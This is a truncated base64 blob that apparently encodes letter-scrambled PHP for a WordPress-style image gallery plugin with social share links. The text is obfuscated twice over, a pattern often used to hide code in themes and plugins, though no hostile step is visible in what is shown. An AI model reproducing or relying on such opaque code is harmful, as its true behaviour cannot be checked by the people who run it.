gkJTmRyTiB7DQogICAgM0RfdERVcUhOX0RmckgocVBQcWcoJ1lGJyA9PiAkX1FNMkpbJ0JXYUJVJ10sICdEZnJIX0hCSGROJyA9PiAkX1FNMkpbJ0JXYUhIZCddKSk7DQoJM0RfdERVcUhOX0RmckgocVBQcWcoJ1lGJyA9PiAkX1FNMkpbJ0JXYUJVJ10sICdEZnJIX05jR05QREgnID0+ICRfUU0ySlsnQldhcnhISGQnXSkpOw0KCTNEX3REVXFITl9EZnJIKHFQUHFnKCdZRicgPT4gJF9RTTJKWydCV2FCVSddLCAnRGZySF9HZm1ITm1IJyA9PiAkX1FNMkpbJ0JXYVVOckcnXSkpOw0KCU5HaGYgJ0V5RSc7DQoJCSAgICBVQk47DQoJCX0NCn0NCnFVVV9xR0hCZm0oICczRF9xa3FjX05xcmdfR3RySGZXX3Jxb05fanRtR0hCZm0nLCAnTnFyZ19HdHJIZldfcnFvTl9qdG1HSEJmbScgKTsNCg0KDQovKg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQp8IEFJQVIgdU1BRiBZWkFuWCBuQXV1WFY2DQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBOV2FfYXFkZE5QZ19kQnJIKCkgew0KDQoJQmogKCAhQnJyTkgoICRfUU0ySlsnRHFhTiddICkgKSB7JERxYU4gPSBFO30NCglOZHJOIHskRHFhTiA9IChCbUgpcVVVcmRxcmhOciggJF9RTTJKWydEcWFOJ10gKTt9DQoJDQoJQmogKCAhQnJyTkgoICRfUU0ySlsnRE5QX0RxYU4nXSApICkgeyRETlBfRHFhTiA9IEVlO30NCglOZHJOIHskRE5QX0RxYU4gPSAoQm1IKXFVVXJkcXJoTnIoICRfUU0ySlsnRE5QX0RxYU4nXSApO30NCgkNCgkkQldhX1VxSHEgPSBOV2FfZEJ4UHFQZ19CV3FhTnIoICREcWFOLCAkRE5QX0RxYU4gKTsNCgkNCglOR2hmICc8dGQ+JzsNCgkNCglCaiAoICRCV2FfVXFIcVsnSGZIcWRCV2EnXSA9PSB5ICkge05HaGYgJzxEPnNmIEJXcWFOciBqZnRtVSAuLiA8L0Q+Jzt9DQoJTmRyTiB7DQoJCWpmUE5xR2goICRCV2FfVXFIcVsnQldhJ10gcXIgJEJXYSApIHsNCgkJCSRVTmozRGFxZGROUGcgPSBOV2FfSGh0V3hfclBHKCAkQldhWyd0UGQnXSwgJ095JywgJ095JywgJ3knLCAneScgKTsNCgkJCU5HaGYgJzxkQj48QldhIHJQRz0iJy4kVU5qM0RhcWRkTlBnLiciIEJVPSInLiRCV2FbJ0JVJ10uJyIgLz48L2RCPic7CQ0KCQl9DQoJfQ0KCQ0KCU5HaGYgJw0KCTwvdGQ+DQoJPHhQIEdkcXJyPSJXTkhxYXFkX0dkTnFQIiAvPg0KCTxIcXhkTiBHTmRkckRxR0JtYT0ieSIgR05kZERxVVVCbWE9IlMiIHhmUFVOUD0ieSIgM0JVSGg9IkV5eSUiIHJIZ2ROPSJ4ZlBVTlAtSGZEOiBFRGMgcmZkQlUgI0ZGRjsgV3FQYUJtLUhmRDpFeURjOyBEcVVVQm1hLUhmRDpTRGM7Ij4NCgkJPEhQPg0KCQkJPEhVIHJIZ2ROPSIzQlVIaDogYlMlOyI+JzsJCQkNCgkJCUJqICggJERxYU4gPiBFICkgIHsNCgkJCQlOR2hmICc8Qm1EdEggSGdETj0ieHRISGZtIiBHZHFycj0iRFBOb19EcWFOIHh0SEhmbS1yTkdmbVVxUGciIEJVPSJ4SG1tcW9fJy4gKCAkRHFhTiAtIEUgKSAuJyIgbXFXTj0iRFBOb3hIbW1xbyIgb3FkdE49IiZkcTB0ZjsgUVBOb0JmdHIgQldxYU5yIiAvPic7DQoJCQl9DQoJCQkNCgkJTkdoZiAnPC9IVT48SFUgckhnZE49IjNCVUhoOiBieSU7IEhOY0gtcWRCYW06IEdObUhOUDsiPic7DQoJCQ0KCQkJQmogKCAkQldhX1VxSHFbJ0hmSHFkQldhJ10gPiB5ICYmICRCV2FfVXFIcVsnRHFhTl9HZnRtSCddID4gRSApIHsNCgkJCQlOR2hmICc8Tlc+RHFhTiAnLiRCV2FfVXFIcVsnRHFhJ10uJyBmaiAnLiRCV2FfVXFIcVsnRHFhTl9HZnRtSCddLic8L05XPic7CQ0KCQkJfQ0KCQkJTmRyTiB7fQ0KCQkJDQoJCU5HaGYgJzwvSFU+PEhVIHJIZ2ROPSIzQlVIaDogYlMlOyBITmNILXFkQmFtOiBQQmFoSDsiPic7DQoJCQlCaiAoICRCV2FfVXFIcVsnV2ZQTiddICE9IGpxZHJOICkgIHsNCgkJCQlOR2hmICc8Qm1EdEggSGdETj0ieHRISGZtIiBHZHFycj0ibU5jSF9EcWFOIHh0SEhmbS1yTkdmbVVxUGciIEJVPSJ4SG1tcW9fJy4gKCREcWFOICsgRSkgLiciIG1xV049Im1OY0h4SG1tcW8iIG9xZHROPSJzTmNIIEJXcWFOciAmUHEwdGY7IiAvPic7DQoJCQl9DQoJCU5HaGYgJzwvSFU+DQoJCTwvSFA+DQoJPC9IcXhkTj4NCgkJPEhxeGROIEdOZGRyRHFHQm1hPSJ5IiBHTmRkRHFVVUJtYT0iUyIgeGZQVU5QPSJ5IiAzQlVIaD0iRXl5JSIgckhnZE49InhmUFVOUC1IZkQ6IEVEYyByZmRCVSAjRkZGOyBXcVBhQm0tSGZEOkV5RGM7IERxVVVCbWEtSGZEOlNEYzsiPg0KCQk8SFA+PEhVIHJIZ2ROPSIzQlVIaDogYnklOyBITmNILXFkQmFtOiBHTm1ITlA7Ij4NCgkJPE5XPjJoZjMgQldxYU5yIEROUCBEcWFOPC9OVz4mbXhyRDsmbXhyRDs8Qm1EdEggSGdETj0iSE5jSCIgckJwTj0iQyIgbXFXTj0iQldhX210V3hOUCIgQlU9IkJXYXh0SEROUERxYU4iIG9xZHROPSInLiRETlBfRHFhTi4nIiAvPiZteHJEOyZteHJEOzxCbUR0SCBIZ0ROPSJ4dEhIZm0iIEdkcXJyPSJ4dEhIZm0tck5HZm1VcVBnIiBCVT0ieEhtbXFvcmhmM2RCckgiIG1xV049InhIbW1xb3JoZjNkQnJIIiBvcWR0Tj0iMmhmMyIgLz4NCgkJPC9IVT48L0hQPg0KCTwvSHF4ZE4+CQ0KCSc7DQoNCglVQk4oKTsNCn0NCnFVVV9xR0hCZm0oICczRF9xa3FjX05XYV9hcWRkTlBnX2RCckgnLCAnTldhX2FxZGROUGdfZEJySCcgKTsNCg0KanRtR0hCZm0gTldhX3JOZF9CV2FfUGRVKCkgewkNCgkNCglCaiAoICFCcnJOSCggJF9RTTJKWydCV3FhTnInXSApICkgeyAkQldxYU5yID0gcVBQcWcoKTt9DQoJTmRyTiB7ICRCV3FhTnIgPSAkX1FNMkpbJ0JXcWFOciddO30NCgkNCgkvLyBhTkggSGhOIEhCSGROcg0KCSRCV3FhTnIgPSBOV2FfTmNIX3JOZCggJEJXcWFOciApOw0KCSRtTjNfQldhID0gJyc7DQoJDQoJQmogKCAhJEJXcWFOciApIHskbU4zX0JXYSA9ICc8RD5zZiBCV3FhTnIgck5kTkdITlUuLi48L0Q+Jzt9DQoJTmRyTiB7DQoJCWpmUE5xR2goICRCV3FhTnIgcXIgJEJXYV9CVSApIHsNCgkJCSRCV2FfVXFIcSA9IGFOSF9EZnJIKCAkQldhX0JVICk7DQoJCQkkQldhX3RQZCA9ICRCV2FfVXFIcS0+YXRCVTsNCgkJCSRyZEdIVUJXYSA9IE5XYV9IaHRXeF9yUEcoICRCV2FfdFBkLCAnT3knLCAnT3knLCAneScsICd5JyApOw0KCQkJJG1OM19CV2EgLj0gJw0KCQkJPGRCPg0KCQkJCTxCbUR0SCBIZ0ROPSJoQlVVTm0iIG1xV049Ik5xcldOVUJxX1dOSHF4ZmNfQldhX3JkQlVOUFtdIiBvcWR0Tj0iJy4kQldhX0JVLiciIC8+DQoJCQkJPEJXYSByUEc9IicuJHJkR0hVQldhLiciIC8+DQoJCQkJPHJEcW0gSEJIZE49IlZOV2ZvTiBZV3FhTiI+PC9yRHFtPg0KCQkJPC9kQj4NCgkJCSc7CQ0KCQl9DQoJfQ0KCQ0KCU5HaGYgJG1OM19CV2E7DQoJVUJOKCk7DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OV2Ffck5kX0JXYV9QZFUnLCAnTldhX3JOZF9CV2FfUGRVJyApOw0KDQoNCi8qLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSovDQovKiAgIEFJQVIgaWZQIFhabiB1QmFoSHhmYw0KLyotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tKi8NCmp0bUdIQmZtIE5XYV9hTkhfVXFIcV9yZEJVTlBfcWtxYygpIHsNCgkNCglCaiAoICFCcnJOSCggJF9RTTJKWydCVSddICkgKSB7DQoJCU5HaGYgICdYUFBmUCEnOw0KCQkzRF9VQk4oKTsNCgkJfSANCgkJTmRyTiB7DQoJCQkNCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJJFVOb1dOVUJxID0gJyc7DQoJDQoJQmogKCBySFBEZnIoICRfUU0ySlsnQlUnXSwnLScgKSApIHsNCgkJJFVOb1dOVUJxID0gTmNEZGZVTigiLSIsICRfUU0ySlsnQlUnXSk7DQoJCQ0KCQkkQlUgPSAkVU5vV05VQnFbeV07DQoJCSRCclVCbXFXR0dtSG0gPSAkVU5vV05VQnFbRV07DQoJCQ0KCQl9DQoJCU5kck4gew0KCQkNCgkJCSRCVSA9ICRfUU0ySlsnQlUnXTsNCgkJCSRCclVCbXFXR0dtSG0gPSAiIjsNCgkJfQ0KCQ0KCWFkZnhxZCAkRGZySDsNCgkNCg0KCSR0ck5hcWRkTlBnQm1qZiA9IGFOSF9EZnJIX1dOSHEoICRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfV05VQnFfYXFkZE5QZ19mREhDJywgSFB0TiApOw0KDQoJQmogKCAkQnJVQm1xV0dHbUhtICE9ICcnICkgew0KCQkNCgkJQmogKCAkdHJOYXFkZE5QZ0JtamYgPT0gJ2ZtJyApIHsNCgkJCSRCV2FfQm1qZiA9IGFOSF9EZnJIKCAkQnJVQm1xV0dHbUhtICk7DQoJCQkkeGZjV05VQnFISGQgPSAkQldhX0JtamYtPkRmckhfSEJIZE47DQoJCQkkeGZjV05VQnFyeEhIZCA9ICRCV2FfQm1qZi0+RGZySF9OY0dOUERIOw0KCQkJJHhmY3JoZlBIVU5HciA9ICAkQldhX0JtamYtPkRmckhfR2ZtSE5tSDsNCgkJCSR4ZmNyaGZQSFVOR3IgPSAgckhQX1BORGRxR04oIlxQIiwiIiwkeGZjcmhmUEhVTkdyKTsNCgkJCSR4ZmNyaGZQSFVOR3IgPSAgckhQX1BORGRxR04oIlxtIiwiIiwkeGZjcmhmUEhVTkdyKTsNCgkJCSR4ZmNyaGZQSFVOR3IgPSBVZl9yaGZQSEdmVU4oIDNEcXRIZkQoICR4ZmNyaGZQSFVOR3IgKSApOwkJCQ0KCQl9DQoJCU5kck4gew0KCQkJJHhmY3JoZlBIVU5HciA9IFVmX3JoZlBIR2ZVTiggM0RxdEhmRCggYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19yaGZQVU5yRycsIEhQdE4gKSApICk7DQoJCQkvLyR4ZmNyaGZQSFVOR3IgPSBhTkhfRGZySF9XTkhxKCAkQlUsICdOcXJXTlVCcV9XTkhxeGZjX3JoZlBVTnJHJywgSFB0TiApOw0KCQkJJHhmY1dOVUJxSEhkID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19IQkhkTicsIEhQdE4gKTsNCgkJCSR4ZmNXTlVCcXJ4SEhkID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19ydHhfSEJIZE4nLCBIUHROICk7DQoJCX0NCgl9DQoJTmRyTiB7DQoJCSR4ZmNyaGZQSFVOR3IgPSBVZl9yaGZQSEdmVU4oIDNEcXRIZkQoIGFOSF9EZnJIX1dOSHEoICRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfcmhmUFVOckcnLCBIUHROICkgKSApOw0KCQkvLyR4ZmNyaGZQSFVOR3IgPSBhTkhfRGZySF9XTkhxKCAkQlUsICdOcXJXTlVCcV9XTkhxeGZjX3JoZlBVTnJHJywgSFB0TiApOw0KCQkkeGZjV05VQnFISGQgPSBhTkhfRGZySF9XTkhxKCAkQlUsICdOcXJXTlVCcV9XTkhxeGZjX0hCSGROJywgSFB0TiApOw0KCQkkeGZjV05VQnFyeEhIZCA9IGFOSF9EZnJIX1dOSHEoICRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfcnR4X0hCSGROJywgSFB0TiApOw0KCQl9DQoJDQoJDQoJJEJXYXJQRyA9IGFOSF9EZnJIX1dOSHEoICRCVSwgJ05xcldOVUJxX1dOSHF4ZmNfQldhJywgSFB0TiApOw0KCSRXTlVCcUhnRE4gPSBhTkhfRGZySF9XTkhxKCAkQlUsICdOcXJXTlVCcV9XTkhxeGZjX1dOVUJxX0hnRE4nLCBIUHROICk7DQoJJFVmV21xV04gPSBEUE5hX1BORGRxR04oICcvXjMzM1wuLycsJycsJF8yWFZMWFZbJzJYVkxYVl9zQVpYJ10gKTsJDQoJDQoJDQoJcjNCSEdoICggJFdOVUJxSGdETiApIHsNCgkJR3FyTiAnMkJtYWROIFlXcWFOJzoNCgkJJHhmY2RCbTEgPSAkQldhclBHOw0KCQkkQnJVZHF4ZE4gPSAnRSc7DQoJICAgICAgICB4UE5xMTsNCgkJCQ0KCQlHcXJOICdadGRIQkRkTiBZV3FhTnIgKDJkQlVOUCknOg0KCQkkeGZjZEJtMSA9IDNEX2FOSF9xSEhxR2hXTm1IX0JXcWFOX3JQRygkQnJVQm1xV0dHbUhtLCAnanRkZCcpOw0KCQkkQldhclBHID0gJHhmY2RCbTFbeV07DQoJCSR4ZmNkQm0xID0gJHhmY2RCbTFbeV07DQoJCSRCclVkcXhkTiA9ICdFJzsNCgkgICAgICAgIHhQTnExOwkJCQ0KCQkJDQoJCUdxck4gJ0xCVU5mJzoNCgkJJHhmY2RCbTEgPSBhTkhfRGZySF9XTkhxKCAkQlUsICdOcXJXTlVCcV9XTkhxeGZjX1dOVUJxX29CVU5mJywgSFB0TiApOw0KCQkkQnJVZHF4ZE4gPSAneSc7DQoJICAgICAgICB4UE5xMTsNCgkJCQ0KCQlHcXJOICdBdFVCZic6DQoJCSR4ZmNkQm0xID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9xdFVCZicsIEhQdE4gKTsNCgkJJEJyVWRxeGROID0gJ3knOw0KCSAgICAgICAgeFBOcTE7CQkNCgkJCQ0KCQlHcXJOICduZmZhZE4gWnFEcic6DQoJCSR4ZmNkQm0xID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9hV3FEJywgSFB0TiApOw0KCQkkQnJVZHF4ZE4gPSAneSc7DQoJICAgICAgICB4UE5xMTsJCQkJDQoJCQkNCgkJR3FyTiAndUJtMSc6DQoJCSR4ZmNkQm0xID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9kQm0xJywgSFB0TiApOw0KCQkkZEJtMV9IZ0ROID0gYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19XTlVCcV9kQm0xX2ZESEUnLCBIUHROICk7DQoJCSRCclVkcXhkTiA9ICd5JzsNCgkJQmogKCAkeGZjZEJtMSAhPScnICkgew0KCQkJJFdOVUJxX2RCbTFfakJtID0gJHhmY2RCbTE7IH0gTmRyTiB7DQoJCQkkV05VQnFfZEJtMV9qQm0gPSAkRGZySC0+YXRCVTsNCgkJfQ0KCQkNCgkJJHhmY2RCbTEgPSAkV05VQnFfZEJtMV9qQm07DQoJICAgICAgICB4UE5xMTsJCQkNCgl9DQoJDQoJJEJyYUQgPSBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fYUQnICk7ICRCck5XZCA9IE5xcmdfYU5IX2ZESEJmbSggJ05xcmdXTlVCcV9VQnJObV9OV2QnICk7ICRCcmp4ID0gTnFyZ19hTkhfZkRIQmZtKCAnTnFyZ1dOVUJxX1VCck5tX2p4JyApOyAkQnJIM0ggPSBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fSDNIJyApOyAkQnJEQm0gPSBOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfVUJyTm1fREJtJyApOyAkQnJVZCA9IE5xcmdfYU5IX2ZESEJmbSggJ05xcmdXTlVCcV9VQnJObV9VZHh0SEhmbScgKTsNCg0KCSRITldEVU5yRyA9IHJIUGRObSggJHhmY3JoZlBIVU5HciApOw0KCSRIUEJXX2RObWFIaCA9IEN5eTsNCgkJCUJqICggJHhmY3JoZlBIVU5HciApIHsNCgkJCQkNCgkJQmogKCAkSE5XRFVOckc+JEhQQldfZE5tYUhoICkgew0KCQkJJHJoZlBITm1OUFVOckcgPSBQSFBCVyggcnR4ckhQKCAkeGZjcmhmUEhVTkdyLHksJEhQQldfZE5tYUhoLWIgKSApOwkNCiAgICAgICAgJHJoZlBITm1OUFVOckcgPSAkcmhmUEhObU5QVU5yRyAuICIuLi4iOw0KICAgCQkJfQlOZHJOIHsNCgkJCSRyaGZQSE5tTlBVTnJHID0gUEhQQlcoIHJ0eHJIUCggJHhmY3JoZlBIVU5Hcix5LCRIUEJXX2RObWFIaCApICk7CQ0KCQkJfQ0KCQl9DQoJCU5kck4gew0KCQkkcmhmUEhObU5QVU5yRyA9ICJGTnJHUEJESEJmbSBhZk5yIGhOUE4uLi4iOw0KCQl9IA0KDQoJLy9CaiAoICR4ZmNXTlVCcUhIZCA9PSAnJyAmJiBhTkhfSGhOX0hCSGROKCAkQlUgKSA9PSAnJyApIHskcmhxUE5XTlVCcUhIZCA9ICdaTlVCcSc7fQ0KCS8vTmRyTiBCaiAoICR4ZmNXTlVCcUhIZCA9PSAnJyAmJiBhTkhfSGhOX0hCSGROKCAkQlUgKSAhPSAnJyApIHskcmhxUE5XTlVCcUhIZCA9IGFOSF9IaE5fSEJIZE4oICRCVSApO30JDQoJDQoJQmogKCAkeGZjV05VQnFISGQgPT0gJycgJiYgYU5IX0hoTl9IQkhkTiggJEJVICkgPT0gJycgKSB7JHJocVBOV05VQnFISGQgPSAnWk5VQnEnO30NCglCaiAoICR4ZmNXTlVCcUhIZCA9PSAnJyAmJiBhTkhfSGhOX0hCSGROKCAkQlUgKSAhPSAnJyApIHskcmhxUE5XTlVCcUhIZCA9IGFOSF9IaE5fSEJIZE4oICRCVSApO30NCglCaiAoICR4ZmNXTlVCcUhIZCAhPSAnJyAmJiBhTkhfSGhOX0hCSGROKCAkQlUgKSAhPSAnJyApIHskcmhxUE5XTlVCcUhIZCA9ICR4ZmNXTlVCcUhIZDt9CQ0KCQ0KDQpmeF9ySHFQSCgpOwkNCg0KQmogKCAkQnJqeCB8fCAkQnJIM0ggfHwgJEJyREJtIHx8ICRCcmFEIHx8ICRCck5XZCB8fCAkQnJVZCApOiA/Pg0KDQogICAgICAgICAgICAgIDxVQm8gQlU9Ild4cmZyV05VIj4NCiAgICAgICAgICAgIAk8dGQ+DQogICAgICAgICAgICAgICAgPD9EaEQgQmogKCAkQnJqeCApOiA/Pg0KICAgICAgICAgICAgICAgICAgPGRCIEJVPSJyZnJXTlVqeCI+DQoJCQkJICANCgkJCQkgPD9EaEQNCgkJCQkgIA0KCQkJCSRqeHFEREJVID0gSFBCVyhOcXJnX2FOSF9mREhCZm0oICdOcXJnV05VQnFfanhfcUREQlUnICkpOw0KCQkJCSRqeEhIZCA9IERQTmFfUE5EZHFHTignL1tecS1weS1PXHJdL0InLCAnICcsICRyaHFQTldOVUJxSEhkICk7DQoJCQkJJGpCZE5tVyA9IHhxck5tcVdOKCAkQldhclBHLCAiLiIuRHFIaEJtamYoICRCV2FyUEcsIFFBSlRZc2lNX1hSSlhzMllNcyApICk7DQoJCQkJDQoJCQkJQmogKCAkanhxRERCVSAhPSAnJyApIHsJDQoJCQkJDQoJCQkJJGp4eGZjMyA9ICdPZXknOw0KCQkJCSRqeHhmY2ggPSAnU3l5JzsNCgkJCQkNCgkJCQkkanh0UGQgPSAnaEhIRHI6Ly8zMzMuanFHTnhmZjEuR2ZXL1VCcWRmYS9qTk5VP3FERF9CVT0nLiRqeHFEREJVLicmZEJtMT0nLnRQZE5tR2ZVTiggJEJXYXJQRyApLicmREJHSHRQTj0nLnRQZE5tR2ZVTiggJEJXYXJQRyApLicmR3FESEJmbT0nLiRqeEhIZC4nJlVOckdQQkRIQmZtPScuJGpCZE5tVy4nJlBOVUJQTkdIX3RQQj0nLnRQZE5tR2ZVTiggckJITl90UGQoKSApLicnOw0KCQkJCX0gDQoJCQkJTmRyTiB7IA0KCQkJCQ0KCQkJCSRqeHhmYzMgPSAnU2U0JzsNCgkJCQkkanh4ZmNoID0gJ2JDUyc7DQoJCQkJDQoJCQkJCSRqeHRQZCA9ICdoSEhEOi8vMzMzLmpxR054ZmYxLkdmVy9yaHFQTlAuRGhEP3I9RXl5JnFXRDtEW0hCSGROXT0nLnRQZE5tR2ZVTiggJHJocVBOV05VQnFISGQgKS4nJnFXRDtEW3J0V1dxUGddPScudFBkTm1HZlVOKHJIUEJEX0hxYXIoICRyaGZQSE5tTlBVTnJHICkgKS4nJnFXRDtEW3RQZF09N01zTEpNS1Z1JnFXRDsmcVdEO0RbQldxYU5yXVt5XT0nLnRQZE5tR2ZVTiggJEJXYXJQRyApLicnOw0KCQkJCX0NCgkJCQk/Pg0KDQoJCQkJCTxxIGZtN2RCRzE9IjNCbVVmMy5mRE5tKCc8P0RoRCBOR2hmICRqeHRQZDsgPz4nLCdyaHFQTlAnLCdIZmZkeHFQPXksckhxSHRyPXksM0JVSGg9PD9EaEQgTkdoZiAkanh4ZmMzOyA/PixoTkJhaEg9PD9EaEQgTkdoZiAkanh4ZmNoOyA/PicpOyIgaFBOaj0ia3FvcXJHUEJESDogb2ZCVSh5KSI+PHJEcW0gSEJIZE49IjJocVBOIEJIISI+PC9yRHFtPjwvcT4NCiAgICAgICAgICAgICAgICAgIDwvZEI+DQogICAgICAgICAgICAgICAgICA8P0RoRCBObVVCajsgPz4NCg0KICAgICAgICAgICAgICAgIDw/RGhEIEJqICggJEJySDNIICk6ID8+DQogICAgICAgICAgICAgICAgICA8ZEIgQlU9InJmcldOVUgzIj4NCgkJCQkJPHEgZm03ZEJHMT0iM0JtVWYzLmZETm0oJ2hISERyOi8vSDNCSEhOUC5HZlcvcmhxUE4/SE5jSD08P0RoRCBOR2hmIHRQZE5tR2ZVTiggJzdoTkcxIGZ0SCAiJy4kcmhxUE5XTlVCcUhIZC4nIiBmbSAnLmFOSF94ZGZhQm1qZiggJ21xV04nICkgKTsgPz4mdFBkPTdNc0xKTUtWdScsJ3JocVBOUCcsJ0hmZmR4cVA9eSxySHFIdHI9eSwzQlVIaD1TZTQsaE5CYWhIPWJDUycpOyIgaFBOaj0ia3FvcXJHUEJESDogb2ZCVSh5KSI+PHJEcW0gSEJIZE49IkozTk5IIEJIISI+PC9yRHFtPjwvcT4NCiAgICAgICAgICAgICAgICAgIDwvZEI+DQogICAgICAgICAgICAgICAgICA8P0RoRCBObVVCajsgPz4NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDw/RGhEIEJqICggJEJyREJtICk6ID8+ICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICA8ZEIgQlU9InJmcldOVURtIj4NCiAgICAgICAgICAgICAgICAgIAk8cSBmbTdkQkcxPSIzQm1VZjMuZkRObSgnaEhIRDovL0RCbUhOUE5ySC5HZlcvREJtL0dQTnFITi94dEhIZm0vP3RQZD08P0RoRCBOR2hmIHRQZE5tR2ZVTiggJHhmY2RCbTEgKTsgPz4mV05VQnE9PD9EaEQgTkdoZiB0UGRObUdmVU4oICRCV2FyUEcgKTsgPz4mVU5yR1BCREhCZm09PD9EaEQgTkdoZiB0UGRObUdmVU4ockhQQkRfSHFhciggJHJoZlBITm1OUFVOckcgKSApOyA/PicsJ3JocVBOUCcsJ0hmZmR4cVA9eSxySHFIdHI9eSwzQlVIaD1TbFMsaE5CYWhIPWJieScpOyIgaFBOaj0ia3FvcXJHUEJESDogb2ZCVSh5KSI+PHJEcW0gSEJIZE49IlFCbSBCSCEiPjwvckRxbT48L3E+DQogICAgICAgICAgICAgICAgICA8L2RCPg0KICAgICAgICAgICAgICAgICAgPD9EaEQgTm1VQmo7ID8+DQogICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgPD9EaEQgQmogKCAkQnJhRCApOiA/PiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgPGRCIEJVPSJyZnJXTlVhRCI+DQogICAgICAgICAgICAgICAgICAJPHEgZm03ZEJHMT0iM0JtVWYzLmZETm0oJ2hISERyOi8vRGR0ci5hZmZhZE4uR2ZXL3JocVBOP3RQZD03TXNMSk1LVnUnLCcnLCczQlVIaD1TbFMsaE5CYWhIPWJieScpOyIgaFBOaj0ia3FvcXJHUEJESDogb2ZCVSh5KSI+PHJEcW0gSEJIZE49IjJocVBOIEJIISI+PC9yRHFtPjwvcT4NCiAgICAgICAgICAgICAgICAgIDwvZEI+DQogICAgICAgICAgICAgICAgICA8P0RoRCBObVVCajsgPz4gICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICA8P0RoRCBCaiAoICRCck5XZCApOiA/PiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgPGRCIEJVPSJyZnJXTlVOV2QiPg0KICAgICAgICAgICAgICAgICAgCTxxIGhQTmo9IldxQmRIZjo/MnR4a05HSD08P0RoRCBOR2hmIHRQZE5tR2ZVTiggJHJocVBOV05VQnFISGQgKTsgPz4mOWZVZz08P0RoRCBOR2hmIHJIUEJEX0hxYXIoJHJoZlBITm1OUFVOckcpIC4nICcuICc3TXNMSk1LVnUnOyA/PiI+PHJEcW0gSEJIZE49IlhXcUJkIEJIISI+PC9yRHFtPjwvcT4NCiAgICAgICAgICAgICAgICAgIDwvZEI+DQogICAgICAgICAgICAgICAgICA8P0RoRCBObVVCajsgPz4gICANCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICA8P0RoRCBCaiAoICRCclVkICYmICRCclVkcXhkTiA9PSAnRScgKTogPz4gICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgIDxkQiBCVT0icmZyV05VVWQiPg0KICAgICAgICAgICAgICAgICAgCTxxIGhQTmo9Ijw/RGhEIE5HaGYgRGR0YUJtcl90UGQoJ1VkLkRoRCcsIF9faVl1WF9fICkuIj9yZnRQR049N01zTEpNWVpuMlY3IjsgPz4iPjxyRHFtIEhCSGROPSJGZjNtZGZxVSBCSCEiPjwvckRxbT48L3E+DQogICAgICAgICAgICAgICAgICA8L2RCPg0KICAgICAgICAgICAgICAgICAgPD9EaEQgTm1VQmo7ID8+ICANCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgIDwvVUJvPg0KICAgICAgICAgICAgPD9EaEQgTm1VQmo7Ow0KDQokR2ZtSE5tSCA9IGZ4X2FOSF9HZE5xbSgpOw0KDQoJQmogKCAkeGZjV05VQnFISGQgPT0gJycgKSB7JHhmY1dOVUJxSEhkID0gJ21mbU4nO30NCglCaiAoICRHZm1ITm1IID09JycgKSB7JEdmbUhObUggPSAnbWZtTic7fQ0KCUJqICggJHhmY1dOVUJxcnhISGQgPT0nJyApIHskeGZjV05VQnFyeEhIZCA9ICdtZm1OJzt9DQoJQmogKCAkeGZjcmhmUEhVTkdyID09JycgKSB7JHhmY3JoZlBIVU5HciA9ICdtZm1OJzt9DQoJDQokSGhOUE5ySCA9IHFQUHFnKCAkeGZjV05VQnFISGQsJHhmY1dOVUJxcnhISGQsaEhXZF9ObUhCSGdfVU5HZlVOKGhIV2RyRE5HQnFkR2hxUHIoJHhmY3JoZlBIVU5HcikpLCRHZm1ITm1IICk7DQpOR2hmIGtyZm1fTm1HZlVOKCAkSGhOUE5ySCApOw0KM0RfVUJOKCk7DQoNCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoJfQ0KDQp9DQpxVVVfcUdIQmZtKCczRF9xa3FjX21mRFBCb19OV2FfYU5IX1VxSHFfcmRCVU5QX3FrcWMnLCAnTldhX2FOSF9VcUhxX3JkQlVOUF9xa3FjJyk7DQpxVVVfcUdIQmZtKCczRF9xa3FjX05XYV9hTkhfVXFIcV9yZEJVTlB